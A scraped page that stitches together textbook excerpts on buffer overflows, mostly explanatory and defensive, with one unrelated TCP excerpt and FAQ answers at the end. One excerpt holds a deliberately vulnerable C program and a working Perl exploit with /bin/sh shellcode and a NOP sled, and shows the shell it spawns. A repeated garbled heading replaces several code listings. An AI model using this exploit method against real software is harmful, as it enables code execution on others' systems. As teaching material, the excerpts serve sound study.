A(n is an application error that occurs when more data is sent to a buffer than it can handle)

Buffer Overflow

In Hack Proofing Your Network (Second Edition), 2002

Introduction

Buffer overflows make up one of the largest collections of vulnerabilities in existence; And a large percentage of possible remote exploits are of the overflow variety. If executed properly, an overflow vulnerability will allow an attacker to run arbitrary code on the victim's machine with the equivalent rights of whichever process was overflowed. This is often used to provide a remote shell onto the victim machine, which can be used for further exploitation.

A buffer overflow is an unexpected behavior that exists in certain programming languages. In this chapter, we explain in detail why these problems exist, how to spot when an overflow vulnerability is present, and how to write an exploit to take advantage of it.

This chapter is split into two parts; a beginner's section and an advanced section. If you've seen buffer overflows before and you understand how they work, then you can probably skip the beginner's section. However, we recommend that all readers have a look at the advanced section. Some of these advanced techniques have come into use in the wild, appearing in the Code Red worm, for example.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9781928994701500112

Application Security Flaws and Application Testing

Mark Osborne, in How to Cheat at Managing Information Security, 2006

Buffer Overflows

Buffer overflows occur when you pass a large, overly long parameter to a program that is expecting a much smaller value. If no validation prevents it, this long parameter value will fill up not only the storage reserved for it but also surrounding storage areas. The most common result of this overflow is that the program produces an error message. However, sometimes with effort and persistence, security analysts discover situations where an overly long parameter can overwrite special pieces of storage that control execution sequence. These stack overflows allow you to manipulate various instruction pointers the program uses to remember what to do next. With clever manipulation, you can provide a parameter that will cause execution to jump from the intended functionality of the normal program to a section of code that loads another program or command and then executes it—a dream for any hacker, being able to run a command of his or her choice.

Buffer overflows used to be discovered by accident or restricted to expert assembler programmers with too much time on their hands. Today comprehensive papers, methodologies, and utilities have been published that make it well within the reach of an average script kiddie. In fact, more than 19 percent of all security vulnerabilities reported to CERT are now buffer overflow based. To show how straightforward discovering these attacks has become, I have outlined a basic procedure here:

1.

Select a potentially vulnerable target program. If it is a common program (either open source or readily available), you should install it on a local system. This will make the whole process much easier by allowing greater speed of work and allowing direct memory access.

2.

Use a specially designed FUZing program (FUZing is hackers’ slang for repetitive techniques, usually involving incremental length increases to parameters that are used to find buffer overflows—programs are freely available from your local hacker’s site) to repetitively pass the target program longer and longer parameters until the program suffers an abnormal termination (indication of a buffer overflow). Use a debugging program to attach to the running program or analyze your dump (core) file to identify important areas of memory.

3.

Using the addresses from the debugger and a simple bit of math, you can craft a parameter of a particular length containing a section of machine code. This code, known as ShellCode, can be downloaded readily from the Internet and, when used in the correct position in the parameter, will invoke a command shell (i.e., /bin/sh in UNIX or cmd.exe in Windows).

To illustrate the effectiveness of this process, I once asked one of my team to practice this technique. After two weeks, this expert hacker (but novice buffer-overflow discoverer) found a buffer overflow in a major e-mail program and in a popular Web application. And that’s exactly what many large security organizations or even hacker groups have their members do as routine use of their time—hence the volume of security alerts in this area.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9781597491105500208

Layer 7: The Application Layer

In Hack the Stack, 2006

Stack Overflows

Buffer overflows are usually categorized according to the memory region in which the overflow occurs. A stack overflow is a buffer overflow that occurs in stack memory. Before we explore how stack overflows occur and how they can be exploited, let’s look at what the stack is used for and how it is organized.

Note

Aleph One’s “Smashing the Stack for Fun and Profit” is one of the best introductions to buffer overflows available. If reading this section piques your interest on the subject, I highly recommend that you check out Aleph One’s paper for more information.

A stack is an abstract data structure in computer science that is used to store data. With stacks, the last item added is the first item to be removed, referred to as Last In, First Out (LIFO). This can be visualized as a stack of papers: the last item placed onto the stack will be the first item taken off of it. The process of adding something to a stack is referred to as pushing it onto the stack, and the process of removing an item from the stack is referred to as popping it off.

The stack area of memory serves a variety of purposes, such as passing arguments to functions, storing local variables, and keeping track of where execution should return to when the current function is finished executing. The layout of the stack is not the same between different architectures, so we focus on the Intel 32-bit architecture (x86), because it is very popular.

Every time a function is called, a new stack frame for that function is created on the top of the stack. This stack frame holds the arguments passed to that function, the address that execution should return to when the function is finished (the return address), and any local variables for the function. The reason why it is necessary to keep track of the return address is because any given function can be called from a number of different places, and when that function is finished executing, the central processing unit (CPU) needs to know what to execute next. A function’s stack frame may also contain a saved copy of the previous stack frame’s base pointer, which is used to reference local variables for a function. When the function has finished executing, the stack frame is essentially removed from the stack, and the return address gets loaded into the instruction pointer register so that the code that originally called the function can resume executing.

In Code Listing 8.4, a stack overflow exists in func(), because it does not check to see if name[] is big enough before copying str into it. If a name with fewer than 256 bytes is supplied as an argument to the program, the program executes normally. However, if a name with more than 256 bytes is supplied, the program crashes (see Code Listing 8.5).

Code Listing 8.4

VulnStack.c Stack Overflow

A(n is an application error that occurs when more data is sent to a buffer than it can handle)
void func(char *str)

{

 char name [256] ;

 strcpy (name, str) ;

 printf("Hello, %s\n",name) ;

}

int main(int argc, char **argv)

{

 if(argc < 2) {

 printf("Usage: %s name\n",argv[0]) ;

 return -1 ;

 }

 func(argv[l]) ;

 return 0 ;

}

Let’s run the program in a debugger to see exactly why it’s crashing. The debugger output is shown in Code Listing 8.6.

Code Listing 8.6

Output from Running VulnStack in a Debugger

A(n is an application error that occurs when more data is sent to a buffer than it can handle)
[email protected] :/tmp/hackthestack > gdb VulnStack

GNU gdb 6.1

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i586-suse-linux" …Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) run

AAAA… (300 A's) …AAA

Starting program: /tmp/hackthestack/VulnStack

AAAA . . . (300 A's) . . . AAA

Hello, AAAA… (300 A's) …AAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) print $eip

$I = (void *) 0x41414141

With the x86 architecture, the stack grows towards the memory address 0, which means that the return address is at a higher address than the name[] local variable. When str is copied into name[],parts of the stack beyond name[]are overwritten with “A’s.” Figure 8.8 shows the func()’s stack layout on the left, and func()’s stack after the overflow has occurred on the right. Note that the return address was overwritten with AAAA (0x41414141 in hex), so when func() was finished executing, the program tried to execute code at 0x41414141. This can be seen when we print out the value of the instruction pointer register (EIP), which gives a value of 0x41414141. This is an invalid memory address, which caused a segmentation fault.

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

Figure 8.8. Stack of VulnStack after Overflow

Imagine you’re going to craft a string that contains raw machine code at the beginning, followed by the address of the overflowed buffer. The overflow would overwrite the return address with the address of the overflowed buffer. When func() finished executing, the program would pop the crafted return address off the stack and load it into the instruction pointer, and the code that we supplied in the buffer would be executed (see Figure 8.9).

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

Figure 8.9. Stack of VulnStack after Overflow with Exploit String

Constructing exploit strings such as this can be tricky. One step that can be especially difficult is determining the correct value to overwrite the return address with. In our example, we need to overwrite the return address with the name[]address. To find the name[] address, we can trigger the overflow in a debugger and analyze the stack to find the start of the string that we supplied. Code Listing 8.7 shows that the overflow string begins at address 0xbfffef30; however, this value may vary depending on the exploit string length.

Code Listing 8.7

Stack Dump in gdb

A(n is an application error that occurs when more data is sent to a buffer than it can handle)
(gdb) x/50x $esp-300
0xbfffefl4 : 0x40137bd0 0xbffff038 0x080483fe 0x08048568
0xbfffef24 : 0xbfffef30 0x40016d68 0x00000001 0x41414141
0xbfffef34 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef44 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef54 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef64 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef74 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef84 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef94 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefa4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefb4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefc4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefd4 : 0x41414141 0x41414141
(gdb)

Alternatively, we can write C code that finds a general address for the stack, and then we can try to guess the correct address by trying various offsets from that address. (See “Smashing the Stack for Fun and Profit” for more information on this technique.)

It is not easy to determine the exact address of the beginning of name[]. If it is 1 byte off, the supplied code won’t execute properly. One trick to remedy this is placing a no operation (hop) sled before the code. The nop instruction on an x86 essentially tells the processor to do nothing; therefore, if we put a long sequence of nop instructions before the code, all we have to do is guess a return address that falls within that range of the nop instructions. When the function returns, a series of nop instructions are executed until the original code is reached.

So far, the exploit string consists of a nop sled, some raw machine code, and the name[] address. However, unless we make the string the perfect length, the name[] address will not overwrite the return address, and our injected code will not be executed. Instead of determining the exact length to make the string, we can repeat the name[] address continually at the end of the string, which allows us to overwrite the return address without knowing its exact offset from the beginning of the overflowed buffer.

Code Listing 8.8 shows a Perl script that constructs an exploit string to be used to overflow the name[] buffer. The exploit string consists of a nop sled, attacker-supplied code, and a value to overwrite the return address with. This exploit is oversimplified and would not be flexible in the real world; however, it demonstrates the general method that is used to construct exploit buffers.

Code Listing 8.8

Exploit for VulnStack

A(n is an application error that occurs when more data is sent to a buffer than it can handle)
# Our exploit string will look like [NNNNNCCCCCAAAAA]
# where N = NOP sled, C = raw machine code, and
# A = Address of name[] which will overwrite the
# return address.
# Nop sled that is 200 bytes long. With larger buffers,
# this can be even longer.
my $nopsled = "\x90" x 200;
# Raw machine code to inject. This code simply runs
# "/bin/sh".
my $code =
"\x99". # cltd
"\x31\xc0". # xor %eax,%eax
"\x52" # push %edx
"\x68\x6e\x2f\x73\x68" # push $0x68732f6e
"\x68\x2f\x2f\x62\x69". # push $0x69622f2f
"\x89\xe3". # mov %esp,%ebx
"\x52" # push %edx
"\x53". # push %ebx
"\x89\xel". # mov %esp,%ecx
"\xb0\x0b". # mov $0xb,%al
"\xcd\x80"; # int $0x80
# Overwrite the return address with the address of name[],
# which in this case is the value 0xbfffef30. Note that
# the bytes are written in reverse because x86 uses
# something called "little endian" byte format, where the
# least significant byte is stored first in memory.
# We repeat this address 50 times.
my $returnAddress = "\x30\xef\xff\xbf" x 50;
# Construct the exploit string by combining the nop sled,
# code, and return address strings
my $exploitString = "$nopsled"."$code"."$returnAddress";
# print out the exploit string
print $exploitString;

Tip

While exploit code has traditionally been written in languages such as C, most will agree that using a scripting language such as Perl or Python is a much more flexible option. Scripting languages provide greater portability, and are used by the majority of exploitation frameworks.

Passing the exploit string to the vulnerable VulnStack program results in the execution of the attacker-supplied code, which in this case launches /bin/sh. Successful exploitation is demonstrated in Code Listing 8.9.

Code Listing 8.9

Exploitation of VulnStack Vulnerability Using Exploit.pl

A(n is an application error that occurs when more data is sent to a buffer than it can handle)
[email protected] localhost:/tmp/hackthestack > ./VulnStack 'perl exploit.pl' Hello, 1Ôø?hn/shh//biÔø?SÔø?Ôø?

sh- 2.05b$

In reality, exploiting stack overflows can be much more difficult. However, this example illustrates the basic notion of how execution of attacker-supplied code can result from a buffer overflow vulnerability.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9781597491099500125

Domain 8: Software Development Security (Understanding, Applying, and Enforcing Software Security)

Eric Conrad, ... Joshua Feldman, in CISSP Study Guide (Third Edition), 2016

Buffer Overflows

Buffer overflows can occur when a programmer fails to perform bounds checking. Here is pseudo-code for an “enter username” program. The program declares the $username variable is 20 characters long, prints “Enter username:,” and then stores what the user types in the $username variable:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

This function contains a buffer overflow. The programmer declared $variable to be 20 bytes long, but does not perform bounds checking on the getstring function. The programmer assumed the user would type something like “bob.”

What if an attacker types 50 “A”s:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

The answer: many programming languages, such as C, provide no built-in bounds checking: the first 20 bytes will be copied to the memory allocated for $username variable. The next 30 will overwrite the next 30 bytes of memory. That memory could contain other data or instructions. This is called “smashing the stack.” This technique can be used to insert and run shellcode (machine code language that executes a shell, such as Microsoft Windows cmd.exe or a UNIX/Linux shell).

Buffer overflows are mitigated by secure application development, including bounds checking.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9780128024379000096

Vulnerability Types

Russ Rogers, in Nessus Network Auditing (Second Edition), 2008

Buffer Overflows

Buffer overflows are perhaps the most famous type of critical vulnerability. They are caused by a programmer’s failure to limit the amount of information that can be written in to a predefined buffer. When data is copied from one source (such as a network socket) into the buffer, an overflow can occur if the input data is greater than the size of the destination buffer. The programmer is responsible for checking the length value of the input prior to the copy operation.

If the length of input data is not checked, or the allocation routine for the destination buffer makes a mistake in the size of the input, the copy operation can result in memory corruption. Depending on where the destination buffer is stored in memory, this corruption can be used to hijack control of the vulnerable program. Although the exploitation details vary from platform to platform, nearly all buffer overflow flaws involving user input can result in the creation of a critical vulnerability.

For example, let’s pretend that Bob has written an Internet chat system that requires users to provide their names when they connect. When developing this program, Bob uses a temporary 50-byte character buffer to store the name received from the connecting user. After all, nobody he knows has a name anywhere near that long, so it should be more than enough room.

Now, assume that Bob’s program gets packaged, sold, and distributed for sale. A copy falls into the hands of curious Brian. Brian installs the server and uses the Telnet program to connect to the service. The service asks for his name, but instead of giving it Brian, he sends a long repeated string of the letter “A.” To his surprise, the chat server immediately closes his Telnet session and refuses to accept new connections. Brian then runs the chat server again, this time with the help of a debugging tool. After sending the long string of “A” characters, the debugger shows that an exception occurred when trying to access the memory address 0x41414141 (the letter A has the hex value of 41).

Brian has seen this before. This appears to be a standard buffer overflow; the long name he provided has been copied over all other local variables in the vulnerable function, and has continued on to trash program state information in the process’s stack memory. This can be exploited to execute arbitrary code on this system, such as an interactive command shell.

Nessus uses a variety of techniques to identify network services that are vulnerable to buffer overflow attacks. When the vulnerable service runs inside a single process, it is usually not possible to actually test for the overflow without crashing the service completely. To work around this limitation, Nessus employs techniques such as version fingerprinting, banner matches, and even partial overflows to determine whether a given service is vulnerable.

Buffer overflows in real software are often somewhat more complicated than this, but usually not by much—the basic principles remain the same. In the last few years, there have been buffer overflows discovered in products as diverse as gaim (OSVDB ID 3734, CAN-2004-0005), Mac OS X (OSVDB ID 3043, CAN-2003-1006), and Oracle (OSVDB ID 2449, CAN-2003-0727).

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B978159749208900006X

Adaptive Bandwidth Sharing for Elastic Traffic

Anurag Kumar, ... Joy Kuri, in Communication Networking, 2004

Congestion Avoidance: Evolution after Buffer Overflow

Buffer overflow occurs when the window reaches Δ + 1 + B. Let the sequence number of the missing packet be nl. At such an instant, the TCP transmitter window would have grown so as to allow only one more segment. Two packets are sent by the TCP transmitter, one of which is dropped. Hence, the number of remaining packets in the buffer and in the pipe is Δ + B. Each of these packets, as it is acknowledged, causes the window to increase, but the total increase over all these Δ + B packets is less than 1, permitting no further window increase. Each acknowledgment received after the buffer overflow results in a single new packet being sent by the TCP transmitter. This keeps the buffer and the pipe full, but there is no further loss. We see that Δ + B new packets are transmitted after the lost packet. Each of these results in a duplicate ACK (requesting the sole missing packet). At the end of this process, the value of A(t) = nl (the sequence number of the missing packet), and M(t) = W(t) = Δ + 1 + B. There are two basic alternatives for loss recovery: timeout-based recovery and fast recovery.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9780124287518500070

Application Security

Jason Andress, in The Basics of Information Security (Second Edition), 2014

Buffer overflows

Buffer overflows, also referred to as buffer overruns, occur when we do not properly account for the size of the data input into our applications. If we are taking data into an application, most programming languages will require that we specify the amount of data we expect to receive and set aside storage for that data. If we do not set a limit on the amount of data we take in, called bounds checking, we may receive 1000 characters of input where we had only allocated storage for 50 characters.

In this case, the excess 950 characters of data may be written over other areas in memory that are in use by other applications or by the operating system itself. An attacker might use this technique to allow him to tamper with other applications or to cause the operating system to execute his own commands.

Proper bounds checking can nullify this type of attack entirely. Depending on the language we choose for the development effort, bounds checking may be implemented automatically, as is the case with Java and C# [4].

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9780128007440000129

Methodology

In Hack Proofing Your Network (Second Edition), 2002

Buffer Overflows

A buffer overflow, also known as a boundary condition error, occurs when an amount greater than storage set aside for the data is placed in memory. Elias Levy, also known as Aleph2, wrote an article about this, titled “Smashing the Stack for Fun and Profit.” It is available in Phrack issue 49, article number 14.

Observe the following program:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

In this C program, we can see the use of the strcpy function. Data is taken from argv[1], then copied into a character array of 8 bytes with the strcpy function. Since no size checking is performed on either variable, the 8-byte boundary of the second variable can be overrun, which results in a buffer overflow.

Another commonly encountered error-prone function is sprintf. The sprintf function is another source of habitual buffer overflow problems. Observe the following code:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

As in the previous example, we have an array taken from argv[1] being copied to an array of 8 bytes of data. There is no check performed to ensure that the amount of data being copied between the arrays will actually fit, thus resulting in a potential buffer overflow.

Similar to the strcpy function is strcat. A common programming error is the use of the strcat function without first checking the size of the array. This can be seen in the following example:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

Data passed from argv[1] to the overflow_function. The data is then concatenated onto c, an 8-byte character array. Since the size of the data in argv[1] is not checked, the boundary of c may be overrun.

The gets function is another problematic function in C. The GNU C Compiler will produce a warning message when it compiles code using the gets function. Gets does not perform checks on the amount of input received by a user. Observe the following code:

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

A(n is an application error that occurs when more data is sent to a buffer than it can handle)

We can see the use of the gets function. When called, it places the data in the c character array. However, since this array is only 8 bytes in length, and gets does not perform proper checking of input, it is easily overflowed.

For additional in-depth information on buffer overflows please refer to Chapter 8.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9781928994701500070

Operating System Security

Jason Andress, in The Basics of Information Security (Second Edition), 2014

More advanced

A buffer overflow attack works by inputting more data than an application is expecting from a particular input—for example, by entering 1000 characters into a field that was only expecting 10. Depending on how the application was written, we may find that the extra 990 characters are written somewhere into memory, perhaps over memory locations used by other applications or the operating system. It is sometimes possible to execute commands by specifically crafting the excess data.

Executable space protection requires two components to function: a hardware component and a software component. Both of the main CPU chip manufacturers, Intel and AMD, support executable space protection, with Intel calling it the Execute Disable (XD) bit [5] and AMD calling it Enhanced Virus Protection [6].

The software implementation of executable space prevention can be found in many common operating systems. Both executable space prevention and ASLR can be found in many operating systems from Microsoft and Apple, as well as a number of Linux distributions, just to name a few.

Read full chapter

URL: https://www.sciencedirect.com/science/article/pii/B9780128007440000117

Is an application error that occurs when more data is sent to a buffer than it can handle?

A buffer overflow, or buffer overrun, occurs when more data is put into a fixed-length buffer than the buffer can handle. The extra information, which has to go somewhere, can overflow into adjacent memory space, corrupting or overwriting the data held in that space.

What happens when buffer is overflowed?

A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations.

What is error buffer?

Buffer errors are common for software that performs operations on a memory buffer. Due to absence or improper validation of input data, an attacker might be able to read or write data outside the intended buffer. This weakness is often referred to as memory corruption.

What are the causes of buffer overflow attack?

A buffer overflow occurs when a program or process attempts to write more data to a fixed-length block of memory, or buffer, than the buffer is allocated to hold. Buffers contain a defined amount of data; any extra data will overwrite data values in memory addresses adjacent to the destination buffer.